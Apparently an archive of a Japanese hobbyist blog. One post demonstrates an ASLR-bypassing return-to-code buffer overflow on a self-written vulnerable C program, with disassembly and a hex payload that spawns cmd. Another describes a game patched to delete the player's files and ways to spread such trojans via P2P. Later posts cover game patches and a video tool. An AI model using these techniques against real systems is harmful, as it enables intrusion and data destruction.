ASLRがあっても出来るreturn-to-libc攻撃

Posted on

久しぶりです。7月一杯はテスト続きで遊べそうにありません…。8月は多少遊べるかと思いますが、9月の初旬にはまたテストがあります。ち な み に 文 系 は あ り ま せ ん 。9月の初旬のテストの後はまた一ヶ月ほど休みがあるので、その時には色々出来るかもしれません。あっ、でも免許取らないと。

とはいえ、情報科学概論Ⅰという講義を聴いている最中にふと思いついたセキュリティネタがあったので投稿します。ちょっと調べた感じだとこの手法は見つからなかったんですが、どう考えてもたいした工夫ではないので既出かもしれません。既出だったらスマソ。

return-to-libc攻撃とASLR

まずreturn-to-libc攻撃について説明しましょう。知ってるという方は飛ばしてください。return-to-libcはバッファオーバーフロー攻撃の一種です。スタック上のバッファに、その大きさ以上のデータを書き込んでしまうことで発生します。

イメージとしてはこんな感じ

20100704_overflow.jpg

関数がリターンした後のスタックの構造が、ちょうどsytem関数を呼び出したときと同じように工夫するのがミソです。CPUはこの時、system(“cmd”)が実行された時と同じように振る舞い、結果任意のコマンドを実行させる事が可能になってしまいます。

Windows Vista以降では、ASLRといって、system()関数も含めた外部ライブラリに含まれる関数のアドレスを毎回ランダムにする事でこの攻撃を防いでいます。戻るべきsystem()関数のアドレスが毎回変わってしまうのですから、攻撃を成功させることも難しくなる、大変有効な対策です。†1

アドレスが毎回変わらない関数

しかし、毎回アドレスが絶対に変わらない関数があります。それはアプリケーション内の関数です。アプリケーション内の関数は、DLLでロードされるライブラリと違い、毎回ロード先のアドレスが変わらないようです。(確かPEヘッダで指定するんだったっけ?)

なら、ランダムで戻るのが難しいライブラリの関数に戻るのでなく、このアプリケーション内の関数に戻れば良いのでは…?いやいや、戻る先も関数そのものでなくともよく、書き込むスタックの内容さえ工夫すれば同じプログラムに含まれるありとあらゆるコードにジャンプして任意の処理を実行できるのでは…?

Windows Vista / Windows 7 Starter(32ビット)で確認できた実演デモ

本来はファイルの内容を表示するプログラムですが、この脆弱性によってシェルを実行するように改変されています。

ダウンロード

Vista Businessと 7 Starter(どちらも32ビット)で動作を確認しています。

2010/07/04現在で最新にアップデートしてあるWindows7/Windows Vista(どちらも32ビット)で動作を確認しています。アップーデートで使えなくなる可能性は十分ありますので、起動しなくてもめげないでね!

スクリーンショット

20100704_overflow2.jpg

こんな感じでシェルが実行されます。

コードの解説

まずは意図的にバッファーオーバーフローさせてるプログラムのソースコードを。

#include 
#include 
#include 

void exec(){
	//何かの処理
	fprintf(stdout,"debug message\n");
	//外部アプリケーションの実行
	system("ipconfig");
}

int main(int argc, char* argv[]){
	//ファイルの中を表示するだけのクソプログラム
	FILE* file = fopen("data.dat","rb");

	//ファイルサイズを取得
	fseek( file, 0, SEEK_END );
  	int size = ftell( file );
	fprintf(stdout,"file size: %d\n", size);
	fseek( file, 0, SEEK_SET );

	//ファイルサイズ分だけコピー。ここでオーバーフロー。
  	char dst[40];
	fread(dst,size,1,file);
	//ここでfileにNULLを代入してもクラッシュはしない
	fclose(file);

	fprintf(stdout,"content: %s\n", dst);

	return 0;
}

上のほうのexec()がポイントです。想定としては、プログラム内から他のアプリケーションを呼ぶような動作を模擬したものと考えてください。今回は”debug message”を表示させることなくsystem関数を呼び出し、さらにそのコマンドも”ipconfig”でなく”cmd”を実行します。

逆アセンブルコード

exec関数
00401318  /. 55             PUSH EBP
00401319  |. 89E5           MOV EBP,ESP
0040131B  |. 83EC 18        SUB ESP,18
0040131E  |. A1 14414000    MOV EAX,DWORD PTR DS:[<&msvcrt._iob>]    ; ||
00401323  |. 83C0 20        ADD EAX,20                               ; ||
00401326  |. 894424 0C      MOV DWORD PTR SS:[ESP+C],EAX             ; ||
0040132A  |. C74424 08 0E00>MOV DWORD PTR SS:[ESP+8],0E              ; ||
00401332  |. C74424 04 0100>MOV DWORD PTR SS:[ESP+4],1               ; ||
0040133A  |. C70424 3020400>MOV DWORD PTR SS:[ESP],target.00402030   ; ||ASCII "debug message"
00401341  |. E8 26070000    CALL <JMP.&msvcrt.fwrite>                ; |\fwrite
00401346  |. C70424 3F20400>MOV DWORD PTR SS:[ESP],target.0040203F   ; |ASCII "ipconfig"

/** main関数をここへリターンさせる! **/
0040134D  |. E8 22070000    CALL <JMP.&msvcrt.system>                ; \system
00401352  |. C9             LEAVE
00401353  \. C3             RETN

 

main関数

 

00401354  /$ 55             PUSH EBP
00401355  |. 89E5           MOV EBP,ESP
00401357  |. 83E4 F0        AND ESP,FFFFFFF0
0040135A  |. 83EC 40        SUB ESP,40
0040135D  |. E8 CE040000    CALL target.00401830
00401362  |. C74424 04 4820>MOV DWORD PTR SS:[ESP+4],target.00402048 ; ||||||||ASCII "rb"
0040136A  |. C70424 4B20400>MOV DWORD PTR SS:[ESP],target.0040204B   ; ||||||||ASCII "data.dat"
00401371  |. E8 06070000    CALL <JMP.&msvcrt.fopen>                 ; |||||||\fopen
(中略)
00401401  |. E8 8E060000    CALL <JMP.&msvcrt.fread>                 ; ||\fread
00401406  |. 8B4424 38      MOV EAX,DWORD PTR SS:[ESP+38]            ; ||
0040140A  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; ||
0040140D  |. E8 8A060000    CALL <JMP.&msvcrt.fclose>                ; |\fclose
00401412  |. A1 14414000    MOV EAX,DWORD PTR DS:[<&msvcrt._iob>]    ; |
00401417  |. 8D50 20        LEA EDX,DWORD PTR DS:[EAX+20]            ; |
0040141A  |. 8D4424 10      LEA EAX,DWORD PTR SS:[ESP+10]            ; |
0040141E  |. 894424 08      MOV DWORD PTR SS:[ESP+8],EAX             ; |
00401422  |. C74424 04 6320>MOV DWORD PTR SS:[ESP+4],target.00402063 ; |ASCII "content: %s"
0040142A  |. 891424         MOV DWORD PTR SS:[ESP],EDX               ; |
0040142D  |. E8 72060000    CALL <JMP.&msvcrt.fprintf>               ; \fprintf
00401432  |. B8 00000000    MOV EAX,0
00401437  |. C9             LEAVE
00401438  \. C3             RETN

 

攻撃コード

20100704_overflow3.jpg

 

7468 6973  this
2064 6174   dat
6120 6973  a is
2061 2073   a s
6865 6c6c  hell
636f 6465  code
2c20 6861  , ha
6861 2e00  ha..
0000 0000 ....
0000 0000  ....

 

最初の40バイトはバッファにあふれない分のデータです。

何かメッセージが出ないと寂しいので、文章を書き込んであります。

 

0000 0000  .... //上書きされる"file"の値(注意:fclose(NULL)はエラーにならない)
0000 0000  .... //上書きされる"size"の値
0000 0000  .... // 作業用領域(freadの後には使われない)
0000 0000  .... // 作業用領域(freadの後には使われない)
0000 0000  .... // "leave"命令で使われる、EBPに代入されるアドレス(適当でいい)
4d13 4000  M.@. // 命令"CALL <JMP.&msvcrt.system>"がおいてあるところへのポインタ

 

関数が戻るまでにクラッシュしないように工夫した†2ローカル変数領域です。

リターンアドレスが、exec()内でsystem関数を呼び出す直前になっています。

以下が、”CALL <JMP.&msvcrt.system>”に戻ったときに使うデータです。

 

38ff 2200  8.". //下の文字列"cmd"へのポインタ
0000 0000  ....
636d 6400  cmd.
0000 0000  ....

 

スタックに引数”cmd”が乗せられている状態になっていて、この状態で”CALL <JMP.&msvcrt.system>”を実行すればコマンドプロンプトが実行される、というわけです。

libcに限らず、実行できてはいけない処理が意図しないタイミングで実行される

この手法を使えば、プログラム中に含まれるありとあらゆる処理が意図しないタイミングで実行し放題になると思われます。出来そうな事はこんな感じ。

  • 今回のように、アプリケーション内で呼ばれているAPI(たとえばsystem())に戻って任意のコマンドを実行する
  • パスワードやらなにやらの認証機構で保護されている処理を無理やり呼び出す
  • WinGrooveのコピートラップ関数を呼び出す(笑)

Linuxではさらに制限が掛かる

linuxでは「PAX」によって以下のようにスタックのアドレスも毎回ランダムで変わるので、Windowsより制限が厳しくなります。スタック破壊を検出するStack-Smashing-Protectorとかでも制限が掛かるかも…。

上記のプログラムのローカル変数「size」のアドレスを表示するプログラムです:

 

$ ./stack
addr of "size": bfb5de08
$ ./stack
addr of "size": bfec2a58
$ ./stack
addr of "size": bfbc6288

 

このように、毎回かなりランダムになる事が分かります。文字列等のポインタを扱うにはスタック上のアドレスが必要なので使えず、イミディエイトな値のみしか扱えなくなります。

とはいえ、この辺は通常のreturn-to-libcと同じなのでいろいろと回避テクがあるかもしれません。

出来そうな対策は?

  • DLLだけでなく、アプリのロード先も毎回ランダムにする

これしかないと思います。今ちょっと確認したところ、殆どのソフトウェア内のcall/jmpはすべて相対ジャンプで行われているようですし、たぶん問題は起きないと思います。DLLでは既にそうなっていますから、特に問題は無いはず…。Linuxだと実はすでに行われてるのかな?

誰かFirefoxのバッファオーバーフローのexploitコードのありかを教えてくれー

 

実演動画作ってニコニコ動画に上げます!(流石に公開はしない)

巫女が死ぬとファイルが消える東方作った

Posted on
ゆっくりしていってね!!!・・・と
言いたいところだが、
君等(のファイル)には消えてもらう。
実は今まで君たちが巫女だと思っていた
残機の正体は、
ハードディスクの肥やしになっている
マイドキュメントの.docファイルだったのだ。
君等は何も知らずに
作りかけのレポートを削除していたのだよ。
しかしそれは、
私の筋書どおりなのだ・・・
あとはゲームを強制終了させれば
私の計画は完成する。
これからは私の最強の
特別戦闘部隊をもって
君等を抹殺するので
よ ろ し く。

巫女が死ぬとファイルが消える東方作った

ついカッっとなって作った†1。後悔はしていない。

巫女(じゃなくても可)が死ぬ度に、マイドキュメントのファイルがランダムで一つずつ消えていきます。消すファイルが無くなった場合、ゲームがアプリケーションごと終了します。もうこれは死ぬ気で練習するしかないねー

 

パッチダウンロード

すいません公開できません m(_ _)m

公開して割れゲーに紛れて流されると色々ヤバイwのでwwwwww

原理

簡単に言うと、巫女が死ぬ処理に無理やり割り込んで、ファイルを消す処理をくっ付けてるだけです。だから、洞窟物語の「どこでもセーブ」パッチと技術的にはほとんど同じです。ただ、こっちの方が追加されてる処理が多くて複雑ってだけです。

アイデアは「【自己責任】敵機を撃つとHDDのファイルが削除されるシューティングゲームが登場」から貰い、ファイルが消える条件を反転させて一般のゲームに実装した形になります。ルールとしてはこちらの方が緊張感があって良いと思うのですが、どうでしょうか(笑

知らず知らずの内に悪意のある処理が行わせる事が可能

今回は実験なので、ファイルを削除した際にウインドウを表示して削除した事が分かるようになっていますが、もちろんそうした表示処理をすべて消してしまう事も可能です。その場合、プレイヤはファイルが消されていることにおそらく気づかないでしょう。

この実例で、P2P等にこうして改造したゲーム等の実行ファイルを流すことで、ダウンロードした人が全く気づかないうちに悪意のある処理を実行させることが可能という事が分かったと思います。もちろんUACが不要な範囲内で、ですが、それでも個人情報を流出させるには十分です。

現在、キンタマウイルスのようなファイル名を偽装するような手口がよく知られていますが、このファイル名を偽装したウイルスを実行させる方法には引っかかった場合大抵すぐ気づくという難点があります。

しかし今回の手法ならもっとナチュラルに実行させる事が可能でしょう。ゲームと一心同体ですから。

感想と今後の展望

今回、パラサイトルーチンは全部手書きアセンブラですw

正直全部アセンブラで書くのは、まあ…たまにやる分には楽しいがしんどすぎるw 今回はファイルの列挙を行う処理ということで再帰処理が入ってるんですが、スタック操作がなかなか大変でした。まあその分今後解析を行う際の参考にはなったかな、と思いますけどね。

アプリの最後の方にdllのファイルをそのままくっ付けておいて、パラサイトルーチンはdllを分離して実行させて、処理に割り込んだ時の処理はdll内の関数を呼ぶだけ、みたいな感じで、任意のDLLが呼べたりすると楽ですね。もうこんなにたくさん書きたくないわ…。

ふと気づいた

これただのファイル感染型ウイルスじゃね?(

今までずっと「本物のファイルに紛れてるキンタマウイルス」という線で考えてたので気づかなかった。

みんながみんな全く疑うことなく実行しているだろうと思われるP2Pのゲームに入れるのは効果的だと思うが、P2Pの大半の人間はDL専門だとすると拡散させにくいという気はする。特定のファイルだけ気をつければいいならハッシュ指定とかで防げちゃうだろうし。

あ、あと

五月祭お疲れさまでした え、ああ、ちゃんとさきゅばすも作ってるよ 仕様書も無い言語の言語処理系って難しいな…。ニワン語はプロトタイプ型オブジェクト指向ってことでいいの?

  • †1: 製作時間は3時間程度

「愛と勇気とかしわもち」どうにかしてあいちゃんを助けよう

Posted on

 一部ではホラーゲームだの精神的ブラクラだの検索してはいけない言葉だの言われてる某ほのぼのハートフルボッコパズルゲーム「愛と勇気とかしわもち」のあいちゃんを何とかして助けるためのパッチです。どうしてもクリアできそうに無い人向け

もっと具体的に言うと

 難しくてしょうがない上にクリア出来ないと怖くて寝れないので以下の改造を施すパッチを作りました。

  • 処理落ちしている環境だと強制的にゲームオーバーになるトラップを回避
  • ゲージ減少速度の低下(1/2、1/4を用意しました)

 BESとかで無理に処理落ちを掛けたり、パソコンのスペック不足などで処理落ちが起きると強制的にゲームオーバーになるトラップがありました。具体的に言うと、1フレームが100ms以上はなれると(つまり、一時的にでもFPSが10を切ると)強制的に赤ゲージが0になり、ゲームオーバーになります。このトラップを解除しました。

 ついでに、ゲージの減少速度も低下させました。1/2か1/4になりますので、これならたぶん誰でもクリアできると思います。

# 1/2と1/3にしたかったのですが、命令スペースがどうにも足りなかった†1ので、1/4にしました…。

ダウンロード

 2010年4月30日現在のver.1.1.1向けのパッチです。

 申し訳ありませんがご利用は自己責任でよろしくお願いします。

当て方

 中に入ってる.exeファイルを「love.exe」と同じフォルダに入れて、exeファイルを実行してください。自動でパッチがあたります。

 友人からのリクエストです。その友人に薦められて私もやりましたが…なにこのゲーム怖すぎワロタ ある意味最初から怖いって分かってるホラーゲームよりも悪質だな…。

さきゅばすかいはつにっき

 大学がなんとMac環境だった!ので、Mac対応コードを書いてみました。思ってたほどObjective-Cは変な言語じゃない。

 あとはffmpegの拡張側から書こうと思ってまして、今開発環境のビルド中です。マンドクセ

  • †1: 1/4なら命令長の短いビットシフト命令が使えるが、1/3は命令長の長い割り算命令を使わなければならない。

「スターフォックスアサルト」謎のヘッダファイル

Posted on

 今回も蔵出しです。おおよそ3年前のネタですが気にしません。誰か書くかなーと思って放置してたんですが、やっぱり誰も書かなかったので書く事にしました。海外あたりで書かれると思ったんだけどなあ…。

スターフォックス アサルト
任天堂 (2005-02-24)
売り上げランキング: 763
おすすめ度の平均: 3.5

2 哀しいかな…
2 これホントにスターフォックス?
4 良作ですが・・・
4 一長一短といったところか
5 これは面白い

ゲームデータ内に開発用のデータが残っている?

 GameCubeにておおよそ3年くらい前に発売され色々と話題になった「スターフォックスアサルト」ですが、実はゲームデータの中にC言語用のヘッダファイル「_shottype.h」が入ってます。

 その中には

  • 同じフォルダ内に存在する「_en_shot.bin」のデータ構造を示していると思われる構造体定義
  • 構造体中の数値の意味を表すと思しき定数定義。
  • それらへの豊富なコメント

 が含まれており、少しCをかじった程度だった3年前の私†1でも容易にそれらを用いてデータ表を作る事が出来ました。その結果、おそらくこのデータは敵・味方の攻撃データを示すものと思われました。

 まずはそのデータを示します。CSV形式です。

 「アンドロフ」はきっと突っ込み待ちなんだと思います。まあそれは置いておいて。SE番号のテーブルで説明が一切無いのは最初からです。全部空白だったんだもん。また、最初のテーブルでも終盤が空白になっていますが、これはショットタイプの定義が168個あるのに対し、実際のデータは129個分しかないためです。これがどういう意味なのかは分かりません。

 ところどころの数値はゲームをやっていたときの感覚と合致するんですが、ところどころ怪しいです。ブラスターが貫通する事になっていますし、エフェクト番号なんて全然合っていません。

 しかし、チャージブラスターは二段階までは直接ダメージ、三段階目(最強)では誘爆ダメージってあたりが妙にリアルです。完全に間違いとも思えません。

 また、追尾性能の項なのですが、GameCubeのCPUであるPowerPCでは微妙にFloatの形式が違うため、そのまま16進数で表示させています。ですが、Wikipediaの記事を読んでもらえば分かるとおり、今回の表に出てくる数値はどれも殆ど0に近いです。

 その上、「ホーミング」の追尾性能の欄が0x00000000(=0.0f)だったり、そもそも出てくる数値が0x00000000と0x000000e0の二種類だけ、と怪しさ満点だったため、これ以上は追求しない事にしました。

 いまいち信憑性が怪しかったので一旦お蔵入りさせて、海外あたりで解析されるのを待ってたんです…が、全然情報が出てこなかったので、三年越しという事にはなりますが、今回掲載する事にしました。オチがなくてゴメンネ。

 これを読んだあなた。どうか真相を暴いてください。それだけが私の望みです。(お約束)

結局、このヘッダファイルは何だったのか

 単なるミスであると言う可能性はつまらないので除外しておきます。

 私の結果は実は間違いで、本当は正しいデータを取得できるのだとしたら、スタッフはネットユーザにこのデータを見つけてもらいたかった、という事に当然なるのでしょう。ですが、このデータによって対戦の幅や戦略が深まるとはあまり思えません。「ポケモン」ならともかく、アクションゲームであるこのゲームにはあまりそういった情報が必要とは思えません。しかし、スタッフがユーザに内部の情報を与えて盛り上げようとしてたのなら、ゲーム初のCGM(笑)の先駆者だったかもしれません。

 もしかすると、あえて間違ったデータとヘッダファイルを与えて、こういう感じの記事が上がってくるのを待ってたのかもしれません。

 ポケモン赤緑の「サントアンヌ号横のトラック」、金銀の「金のはっぱ」「銀のはっぱ」、「シロガネ山のレッド」、ルビーサファイアにおける「トクサネの白い岩」、レジ***の点字、ダイヤモンド・パールにおける謎の洋館のように、本質的にはあまり意味の無いデータを与え、ユーザをもてあそんでただけかもしれません。つーかポケモンその手の多すぎだろw

 ネットユーザがこういう感じで「あーでもない」「こーでもない」ってあたふたしてる姿が見たかったのかもしれませんね。この可能性が一番面白そうだな。

 いやーホント気になるんで誰か真相を暴いてください。

  • †1: でも今と比較してあんまり進歩してないかも^^;

NScripter復号:「Yet Another nsdec」

Posted on

 今回は作って配布しようと思ってたはいたけれど、いつの間にか忘れていたソフトです。この機会に蔵出ししておきます。

プログラムの概要

 Yer Another nsdecは、NScripterのスクリプトファイル「nscript.dat」を復号化して、人間が読む事の出来るシナリオファイルに変換するプログラムです。

 変換は高速で、数秒以内に終了します。

 GPLライセンスなので、ソースコードも公開しています。

ダウンロード

使い方

 NScripterのシナリオファイル(nscript.dat)をnsdec.exeと同じフォルダに配置し、「復号化.bat」を実行してください。すぐに終わり、result.txtという復号した結果が現れます。

 result.txtの修正等を行った後に「暗号化.txt」を行うと今度はその修正したスクリプトを再度暗号化できます。

解説

 元々のnsdec.exeは、表示に懲りすぎているためかいかにも「解析してる」っぽい感じは出てるんですが、いかんせん遅すぎます。

 そしてその復号化処理というのが、実は0x84とxorしてるだけの簡易的なものです。ので、普通に実装すればあそこまで時間は掛からずにすぐに復号が終わります…。

 友人が去年の夏ぐらいに「次の冬コミはNScripterでギャルゲー出すぜ!」とか言い出したので、サンプルソース集めのために作りました。でも結局、前回の冬コミのアレは私がスクリプト書いてます。

 NScripterなのですが、簡単な事を行うにはすぐに書けて良いのですが、ちょっと複雑な事をしようとすると一気に大変になる印象でした。難易度が指数関数的に上がります。(指数関数って言いたいだけ)

 プログラミング初心者が「簡単にゲーム作りたい」って言って作るのには全くお勧めしないです…。普通にRuby+SDLあたりが良いんじゃないかなあ…。

「さきゅばす」 ver1.22リリースしました

Posted on

 GPLにしたので、とりあえずGPLなリリースをしとこうかな、と。

 さすがに、そろそろ開発降りたいんだぜ。あとはフロントエンド更新するだけです。

「さきゅばす」の公式サイトは移動しました

 こちらに移動しました。

バージョンアップ通告について

 ここでバージョンアップを通告するのはあと何回も無いと思ってください。

 その代わり、リリースページのRSSを取得するようにしてください。

ソフトの概要

 ニコニコ動画の動画を、コメント付きの動画として保存します。従来は「カハマルカの瞳」などのキャプチャソフトを使うのが定石でしたが、この方式では高いスペックのPCを要求し、フレームレートも低くなりがちです。

 このソフトはそうした弱点を克服し、低スペックなPCでもコマ落ちなしで綺麗に変換することが出来ます。

 変換にはffmpegを用い、iPodやPSP向けのmp4動画などを作成することも可能です。

ダウンロード

 こちらの公式サイトよりお願いします。

リリースメモ

 GPLになってはじめてのリリースです。このバージョンより、ソースも同時配布となります。

 ユーザ側から見ると、今回は前回とあまり変更はありません。せいぜいFFmpegが新しくなったことぐらいでしょうか。

更新履歴

  • 同梱のFFmpegを新しくしました。
  • ニコニコ動画の仕様変更への対応
  • バグの修正
  • FFmpegの変更にともなう各種修正
  • オープンソース以降に伴うUIその他もろもろの変更。

スクリーンショット

20080418-01.png

 チャージ三回、フリーエントリー、ノーオプションバトル!!

 というわけで、カブトボーグ見ました。狂気そのものだなwww

 毎回でてくる使い捨てヒロインがかなりかわいいのも良いですね。個人的にはシルクハット被ってる子が一番好みでした。シルクハットいいよねー!!

 であと某「Fateは文学」テンプレート的には「カブトボーグVxVはポストモダニズム」らしいよwwなんでww

 ソーカル事件から「でたらめ」ってことかな?

Fateは文学           狼と香辛料は経済
Airは芸術            なのはは友情
CLANNADは人生       こじかは葛藤
リトバスは筋肉          極上生徒会はモラトリアム
鳥の詩は国歌         ハルヒは感性
SchoolDaysは神話      ARIAは現実
君が望む永遠は哲学     すももは楽園
攻殻は政治            Myself;Yourselfは月9
うたわれるものは日本史A  アイマスはわが娘
ひぐらしは論理学       初音ミクは真実の光
EVAは聖典           00は教科書
神霊狩は音楽          true tearsは真実
Kanonは奇跡          H2Oは格差社会
ゼロの使い魔は国旗     D.C.~ダ・カーポ~は純愛
ムリョウは日常         efは旋律
まなびストレートは青春   みなみけは食事
砂糖菓子の弾丸は撃ちぬけないは社会派ミステリ
落語天女おゆいは伝統芸能  カブトボーグV×Vはポストモダニズム
らき☆すたは日常       シャニティアは英雄憚 
バンブーブレードは竹刀   シゴフミはキラメキ

まだ再現できてない点

  • 静止画だけの動画でたまにガクガクになる。ffmpeg本体に手を入れないとだめっぽい。しかも大手術・・・。
    • libavfilterのFPSフィルタでどうにかなる?

「さきゅばす」オープンソース化!

Posted on

 というわけで、ついにGPLで公開することにしました。

SourceForgeのプロジェクトになりました。

 次のバージョンまでの開発はこちらで行い、後は基本的に放置します。引き継いでくれる方がいらしたら公式ウェブサイトに詳しく書いてありますのでご覧ください。

ソースコードを公表しています。

 ffmpegの拡張部分のソースが飛んだため(えー)、コンパイルして元の環境を再現することは出来ませんが、現在の1.21のそれ以外の部分のソースコードを公開しています。

 次のバージョン以降はまた別の方法でffmpegを拡張するので、現在のvhookライブラリのソースを元に何かするのはあまり得策とはいえません。ご了承ください。

誰でも編集できる領域もあります。

 公式サイトはWikiで構築しています。基本的にはプロジェクトのメンバーしか更新できませんが、ページ名が「Users/」で始まる領域は誰でも編集する事ができます。

 ドキュメンテーションやユーザ間の相互互助などにご利用ください。

掲示板について

 Wikiでどうにかなる気がするので、そっちに移行します。SPAMが最近うざいし…。

 過去ログを見られるようにはします。

アップローダについて

 次バージョンより、ffmpegは更新されます。その際、オプションファイルの書き方などが一部異なるのですが、その関係でアップローダのファイルは一回すべて削除させていただきます。

 大丈夫です、すでにアップロードされている分は私が修正して次バージョンのデフォルトに入れます^^;

「さきゅばす」 ver1.21リリースしました

Posted on

「さきゅばす」の公式サイトは移動しました

 こちらに移動しました。

開発を引き継いでくれる方の募集

 せっかく復帰したのに申し訳ありませんが、私は実は来年大学受験です。受験生やりながら開発というのはちょっと無理なので、引き継いでくれる方を募集しています。場合によってはオープンソースも検討しています。

 一応三月末までは私が開発します。それまでに色々機能付けたいなあ。

 詳しくはこちらをクリックしてください。

ソフトの概要

 ニコニコ動画の動画を、コメント付きの動画として保存します。従来は「カハマルカの瞳」などのキャプチャソフトを使うのが定石でしたが、この方式では高いスペックのPCを要求し、フレームレートも低くなりがちです。

 このソフトはそうした弱点を克服し、低スペックなPCでもコマ落ちなしで綺麗に変換することが出来ます。

 変換にはffmpegを用い、iPodやPSP向けのmp4動画などを作成することも可能です。

ダウンロード

  • Saccubus ver1.21(2008/03/03)

 ※落とせない場合、このエントリは最新バージョンではありません。こちらのエントリで最新バージョンを確認してください。

基本的な使い方

 Readmeのほか、こちらのエントリをご参照下さい。

サポートについて

 こちらの掲示板で受け付けています。下の「質問時に必ず必要なこと」もお読みください。

質問時に必ず必要なこと

  • 使っているバージョンは?
  • どの動画ですか?
  • 「vhookライブラリを無効にする」にチェックを入れても変換できない?
  • どの時点でのエラーか?(変換が始まる前?後?始まった後なら、始まってすぐ?ちょっと経ったとき?)
  • 始まる前ならdebug.batで実行したあとの、log.txtの中身を教えてください。
  • 始まった後ならlog.txtの最後の方と、nicovideo.txtの中身を教えてください。

今回の変更内容

 今回はコミケで配布した1.20をバグフィックスして、影を一つ追加しただけです。

 1.16からの変更点は以下のとおり

  • Java側
    • 動画タイトルに特定の文字が含まれているとエラーが発生する問題を修正
      • 「&#102;」みたいなのが入ってしまうのを修正しました。
    • フォントパスの設定に、Windowsの環境変数を使うことにした。
      • WindowsをC:\以外にインストールしてても設定をいじる必要がありません。
    • パスワードを起動毎に入力させるのをやめた。
      • セキュリティ的にどうかなーと思ってたのですが、やっぱり利便性を追求しました。
  • C側
    • フォントの影を選べるようにした。お勧め(デフォルト)はやはり01です・・・。
      • 00:なし(new!)
      • 01:ニコニコ動画風(new!)
      • 02:右下(前のやつ)
      • 03:囲い込み(new!)
    • フォントの拡大率の決定をX軸のみで行うことにした。
      • これで16:9で変換しても文字がつぶれなくなります。

オプションファイルについて

 optionフォルダへ入れるためのオプションファイルをアップロード・ダウンロードするためのアップローダを用意しています。ぜひオプションファイルの充実にご協力ください。

スクリーンショット

20080303.png

 「アタシのココロ、解錠(アンロック)!」(笑)

 最近の持論は「魔法少女アニメの男の子って可愛くね?」です。唯世くん可愛すぎワロタ。「かみちゃまかりん」の和音くんとかも良かった。…アッー

 え、しゅごキャラの方ですか…?3匹(?)の中ならミキ(青)一択でしょう。やはり蒼の子はPEACH-PIT的にはボクっ娘の模様。まあ最強はヨルなんだけどね。

 ストーリーとかはこういう視点で見てみると面白い。女の子って精神的にも成長早いですね。小5の時に「外キャラで悩む」とか無かったわww

まだ再現できてない点

  • 静止画だけの動画でたまにガクガクになる。ffmpeg本体に手を入れないとだめっぽい。しかも大手術・・・。

考えている機能追加リスト

 随時募集中です。対応できるかは分かりませんけど。。。

  • Java側
    • プログレス表示をもうちょっとマシに。
    • フィルタ機能に対応
  • C側
    • そろそろffmpegの更新を・・・。
    • ニコスクリプト、投稿者コメント対応
    • 特殊な文字が描画できない問題の修正

Read more

「さきゅばす」 ver1.16リリースしました

Posted on

「さきゅばす」の公式サイトは移動しました

 こちらに移動しました。

ソフトの概要

 ニコニコ動画の動画を、コメント付きの動画として保存します。従来は「カハマルカの瞳」などのキャプチャソフトを使うのが定石でしたが、この方式では高いスペックのPCを要求し、フレームレートも低くなりがちです。

 このソフトはそうした弱点を克服し、低スペックなPCでもコマ落ちなしで綺麗に変換することが出来ます。

 変換にはffmpegを用い、iPodやPSP向けのmp4動画などを作成することも可能です。

ダウンロード

  • Saccubus ver1.16(2007/12/03)

 ※落とせない場合、このエントリは最新バージョンではありません。こちらのエントリで最新バージョンを確認してください。

基本的な使い方

 Readmeのほか、こちらのエントリをご参照下さい。

サポートについて

 こちらの掲示板で受け付けています。下の「質問時に必ず必要なこと」もお読みください。

 Blogのコメント欄は見づらいのでやめます。

質問時に必ず必要なこと

  • 使っているバージョンは?
  • どの動画ですか?
  • 「vhookライブラリを無効にする」にチェックを入れても変換できない?
  • どの時点でのエラーか?(変換が始まる前?後?始まった後なら、始まってすぐ?ちょっと経ったとき?)
  • 始まる前ならdebug.batで実行したあとの、log.txtの中身を教えてください。
  • 始まった後ならlog.txtの最後の方と、nicovideo.txtの中身を教えてください。

今回の変更内容

 今回は割りと微修正です。リハビリ。

  • オプションファイルを追加
    • PSP
    • iPod
  • いくつかのバグ修正
    • コメントの色がおかしい問題
    • video,comment,convertedフォルダが無いとうまく動かない問題
    • コメント表示数0でフリーズする問題
    • その他。動かない方はとりあえず試してみてください。
  • 動画IDだけでなく、動画URLを入力しても大丈夫なように変更。
  • マイメモリーでコメントが削除されるようにした。
  • 表示コメント数の設定を移動。

オプションファイルについて

 optionフォルダへ入れるためのオプションファイルをアップロード・ダウンロードするためのアップローダを用意しています。ぜひオプションファイルの充実にご協力ください。

スクリーンショット

20071203-01.png

 ♪限界なんかは 時間の果てに捨ててしまおう

 OPがカッコよすぎたので見た作品。二日で。科学考証の方は・・・><

まだ再現できてない点

  • フレームレートが違う(ニコニコ動画:25 「さきゅばす」:任意)ので、それによってコメントが表示される順番が微妙に変わる可能性がある。ただ本気で探さないと気づかない。
  • 文字についてる影のエフェクトが違う。これはライブラリの差。埋めるのはほぼ不可能に近いです。複数のエフェクトを用意する予定です。
  • 静止画だけの動画でガクガクになる。ffmpeg本体に手を入れないとだめっぽい。しかも大手術・・・。

考えている機能追加リスト

 随時募集中です。対応できるかは分かりませんけど。。。

  • Java側
    • プログレス表示をもうちょっとマシに。
    • フィルタ機能に対応
  • C側
    • そろそろffmpegの更新を・・・。
    • ニコスクリプト対応
    • 影の種類を選べるようにする。
    • 特殊な文字が描画できない問題の修正

「さきゅばす」 ver1.15rリリースしました

Posted on

「さきゅばす」の公式サイトは移動しました

 こちらに移動しました。

 午前4:20前後にApacheだけが落ちるのは、logrotateが原因だった模様。なんでいまさら。

 ここ最近頻繁にバージョンアップやってますけど、今後数週間は無いと思ってください。また凄いバグがあれば修正するかもですけど。

バグ対策に1.15rへマイナーアップデート

 今現在問題の起こっていない方はアップデートしなくて結構です。

  • デバッグ用にvhookを無効にするメニューを実装

 vhookを使わずにffmpegに変換させます。こうすることでエラーの原因の切り分けを行います。「変換設定」タブに入ってます。

  • コメントの長さが0だと落ちる問題を修正

 っていうかなんでそんなコメントあるの・・・?

質問時に必要なこと

  • 使っているバージョンは?
  • どの動画ですか?
  • 「vhookライブラリを無効にする」にチェックを入れても変換できない?
  • どの時点でのエラーか?(変換が始まる前?後?始まった後なら、始まってすぐ?ちょっと経ったとき?)
  • 始まる前ならdebug.batで実行したあとの、log.txtの中身を教えてください。
  • 始まった後ならlog.txtの最後の方と、nicovideo.txtの中身を教えてください。

 以下の「ダウンロード」で落とせない場合、このエントリは最新バージョンではありません。こちらのエントリで最新バージョンを確認してください。

ソフトの概要

 ニコニコ動画の動画を、コメント付きのAVIの形式で保存します。従来は「カハマルカの瞳」などのキャプチャソフトを使うのが定石でしたが、この方式では高いスペックのPCを要求し、フレームレートも低くなりがちです。

